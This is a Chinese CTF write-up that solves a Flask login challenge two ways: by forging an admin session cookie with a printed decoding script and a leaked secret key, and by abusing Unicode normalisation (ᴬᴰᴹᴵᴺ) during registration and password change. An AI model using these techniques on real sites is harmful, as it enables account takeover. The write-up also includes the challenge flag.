主页标题有一个超链接,点击去看一看。
啥也没找到,于是返回主页查看源码。发现一个登录的链接和一个注册的链接。
尝试先注册一个测试账号。
注释里提示我们没用admin账户登录。
查看源码,发现提供了四个操作的链接。
想要获取admin的账户,只可能是从两个方面入手,一个是注册时修改admin密码,另一个就是通过修改密码,修改admin的密码。
change功能里的源码中,提供了一个github地址。
简而言之就是通过利用admin的session进行登录。
这里网站的架构使用的是python的flask框架,github给出的是flask框架的源码,首先利用脚本先对测试的账号的python进行个解密。
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
得到了一个session的架构。需要修改的地方就是name。下一步就是将name修改成admin,然后进行一个加密。
{
'_fresh': True, '_id': b'f77e4a02dc4a2c2ab587dddb95cf3dea8d4e44cb260f04010f77eeb38fed6232f640cf8698be12d67f165bd7639bd4392194a7b6714218c14aa736ce4e956d37', 'csrf_token': b'637e8438006c7707746b73fee55718ce03f574af', 'image': b'tRzh', 'name': 'tzzzez', 'user_id': '10'}
flasksession加密工具
当然加密是需要密钥的(否则不是很拉跨)。由于使用的是flask的框架,所以密钥藏在框架的config文件中。
#密钥
ckj123
#需要加密的session框架
{
'_fresh': True, '_id': b'f77e4a02dc4a2c2ab587dddb95cf3dea8d4e44cb260f04010f77eeb38fed6232f640cf8698be12d67f165bd7639bd4392194a7b6714218c14aa736ce4e956d37', 'csrf_token': b'637e8438006c7707746b73fee55718ce03f574af', 'image': b'tRzh', 'name': 'admin', 'user_id': '10'}
加密成功后,直接将session复制给当前的session就可以得到flag。(如果没有跳转就刷新一下)
flag{
40d82cbb-9069-40f1-9740-7cffd1737cdd}
(方法一看似挺难的,但是看懂后就是挺简单的,目的就是为了构建admin的session,进行session伪造)
简而言之,就是利用奇奇怪怪的语言编写admin(虚假的admin),然后通过编码替换成admin(真正的admin)。
看到其他大师傅们直接贴了个ᴬᴰᴹᴵᴺ。
Unicode编码字符
(孩子心服口服)
主要思路就是利用ᴬᴰᴹᴵᴺ注册后被编码成ADMIN,之后通过修改密码,ADMIN变成admin。(大写变小写,是因为框架里有个自动大小写转换,请看源码部分)
strlower函数就是把大写字母变成小写字母。
nodeprep.prepare函数的本意也是把A转换成a.但他遇见ᴬᴰᴹᴵᴺ时,会转换成ADMIN。这是这个函数的漏洞。
注册和登陆时使用ᴬᴰᴹᴵᴺ,登陆后会发现
然后修改一次密码,之后注销重新登录即可(此时用户名称已经变成admin)